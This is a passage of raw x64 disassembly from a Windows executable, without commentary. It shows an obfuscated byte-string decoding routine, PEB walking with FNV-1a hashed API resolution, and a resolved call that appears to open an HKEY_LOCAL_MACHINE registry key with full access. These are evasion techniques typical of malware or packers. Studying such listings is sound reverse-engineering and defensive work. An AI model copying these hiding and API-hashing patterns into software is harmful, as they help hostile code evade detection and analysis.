sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015ce05
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x14015cdf5
lea rdx, [rbp + 0x1600488]
jmp 0x14015d9bb
lea rdx, [rbp + 0x1026fa2]
jmp 0x14015d9bb
lea rdx, [rbp + 0xf10]
lea rcx, [rbp + 0x1f8]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2da0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015d9f0
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2da0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2da0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2da0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x6d0], Ordinal_60
mov byte [rbp + 0x6d1], Ordinal_143
mov byte [rbp + 0x6d2], 0x61
mov byte [rbp + 0x6d3], 0xf3
mov byte [rbp + 0x6d4], 0x5a
mov byte [rbp + 0x6d5], 0xf1
mov byte [rbp + 0x6d6], 0x62
mov byte [rbp + 0x6d7], 0xf7
mov byte [rbp + 0x6d8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6d9], 0xf5
mov byte [rbp + 0x6da], 0x5b
mov byte [rbp + 0x6db], 0xfb
mov byte [rbp + 0x6dc], WSACleanup
mov byte [rbp + 0x6dd], 0xf9
mov byte [rbp + 0x6de], 0x5b
mov byte [rbp + 0x6df], 0xff
mov byte [rbp + 0x6e0], r15b
mov byte [rbp + 0x6e1], 0xfd
mov byte [rbp + 0x6e2], 0x59
mov byte [rbp + 0x6e3], 0xe3
mov byte [rbp + 0x6e4], Ordinal_79
mov byte [rbp + 0x6e5], 0xe1
mov byte [rbp + 0x6e6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6e7], 0xe7
mov byte [rbp + 0x6e8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x6e9], 0xe5
mov byte [rbp + 0x6ea], 0x7f
mov byte [rbp + 0x6eb], 0xeb
mov byte [rbp + 0x6ec], 0x7a
mov byte [rbp + 0x6ed], 0xe9
mov byte [rbp + 0x6ee], Ordinal_79
mov byte [rbp + 0x6ef], 0xef
mov byte [rbp + 0x6f0], 0x7a
mov byte [rbp + 0x6f1], 0xed
mov byte [rbp + 0x6f2], 0x88
mov byte [rbp + 0x6f3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6f4], 0x84
mov byte [rbp + 0x6f5], Ordinal_211
mov byte [rbp + 0x6f6], Ordinal_217
mov byte [rbp + 0x6f7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x6f8], rax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x14015e6ce
movzx r8d, byte [rbp + r9 + 0x6d0]
mov rdx, r8
cmp rdi, r9
ja 0x14015e6c5
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015dbac
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14015dbf0
je 0x14015e644
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015e5bc
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015e58f
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015e544
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015e4f3
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14015e6bc
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14015dc16
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14015de2b
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015e4e2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015e4bf
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015e499
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015e473
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015e450
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14015e16e
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015e14d
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015e127
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14015e104
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14015e0f0
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14015e0cd
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015e0aa
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015e098
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14015e075
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14015e061
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14015dc64
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14015e699
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14015e676
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14015de65
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14015de42
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14015de1c
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14015e040
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14015e01f
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14015dfd0
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14015dfa6
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14015dc64
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015df92
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14015df71
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14015df50
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14015df3c
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14015df19
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14015def5
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14015ded2
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14015deaf
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14015de8b
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14015dc64
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14015dc64
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015dc57
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14015dbf0
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015db74
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015e50f
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14015e539
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14015e53c
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015e560
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14015e58a
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14015e482
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14015e46c
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14015e091
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14015e330
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x6d0], bl
jmp 0x14015e66e
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 9
jb 0x14015dfc3
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14015e511
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x14015e1cc
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x14015e191
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14015e330
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14015e60f
movabs rdx, 0xd390f2407abef38c
mov ecx, r12d
jmp 0x14015e24c
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14015e5aa
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14015e58a
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x14015df04
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14015e53c
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015e539
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14015e50f
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14015e20a
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14015e425
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14015e2ae
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x14015e3ff
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14015e347
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14015dff1
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015e236
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14015e65f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015e261
movabs rdx, 0xb8b05b574343cd24
mov ecx, r14d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015e46c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015e28d
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14015e5aa
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015e193
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14015e4a8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015e2cb
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x14015de9a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015e2f7
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14015e539
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015e314
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14015df04
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14015e1ce
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015e65f
jne 0x14015e36c
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14015e65f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015e396
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14015e46c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015e3b3
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14015e482
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015e3de
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14015e562
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14015dff1
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14015de9a
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x6d0]
sub bl, al
sub bl, 0x50
jmp 0x14015df11
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x6d0]
add bl, dl
jmp 0x14015e5da
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
add bl, dl
jmp 0x14015e5dd
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015e5aa
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015e58a
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015e53c
movabs rdx, 0xdc582daba1a1e692
mov ecx, esi
jmp 0x14015de9a
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x6d0], cl
add r10, rsi
sub r9, rsi
jmp 0x14015e66e
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, bl
add r8b, cl
sub r8b, r14b
mov byte [rbp + r9 + 0x6d0], r8b
add rdi, r10
jmp 0x14015e5aa
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14015e66e
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6d0], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x6d0], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14015e65f
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x6d0]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14015db61
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14015db5e
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14015db4e
lea r12, [rbp + 0x145e478]
jmp 0x14015e6d5
lea r12, [rbp + 0x136abb6]
jmp 0x14015e6d5
lea r12, [rbp + 0x6d0]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14015e83f
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015e751
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015e744
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015e735
cmp edx, esi
jne 0x14015e823
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14015e823
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14015e823
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015e7a5
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015e79a
cmp edx, r14d
je 0x14015e7bb
test r10d, r10d
jne 0x14015e785
jmp 0x14015e823
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14015e838
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14015e838
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14015e816
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14015e7f2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14015e809
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015e835
cmp qword [rbx + 0x30], r13
jne 0x14015e705
mov r10, r13
mov qword [0x1404fc178], r10
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x14015e9dc
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x14015e8f2
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r15d
jmp 0x14015e8e4
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14015e8d3
cmp r8d, esi
jne 0x14015e9cb
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14015e9cb
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14015e9cb
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r15d
jmp 0x14015e94a
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14015e93d
cmp r8d, r14d
je 0x14015e95f
test ebx, ebx
jne 0x14015e92b
jmp 0x14015e9cb
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14015e9d3
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14015e9d3
mov esi, r15d
mov r14d, r15d
jmp 0x14015e99c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015e98e
jmp 0x14015e9b1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015e9a4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14015e89f
mov qword [0x1404fc118], rdx
jmp 0x14015e9e2
mov r12d, 1
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14015eb4e
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015ea65
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015ea58
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015ea49
cmp edx, esi
jne 0x14015eb32
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015eb32
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015eb32
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015eab9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015eaae
cmp edx, r14d
je 0x14015eacf
test r11d, r11d
jne 0x14015ea99
jmp 0x14015eb32
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14015eb47
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14015eb47
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015eb11
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14015eb03
jmp 0x14015eb26
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14015eb19
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015eb44
cmp qword [rbx + 0x30], r13
jne 0x14015ea19
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14015ecc0
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015ebd7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015ebca
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015ebbb
cmp edx, esi
jne 0x14015eca4
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015eca4
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015eca4
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015ec2b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015ec20
cmp edx, r14d
je 0x14015ec41
test r11d, r11d
jne 0x14015ec0b
jmp 0x14015eca4
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015ecb9
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14015ecb9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015ec83
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015ec75
jmp 0x14015ec98
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015ec8b
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015ecb6
cmp qword [rbx + 0x30], r13
jne 0x14015eb8b
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14015ee29
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
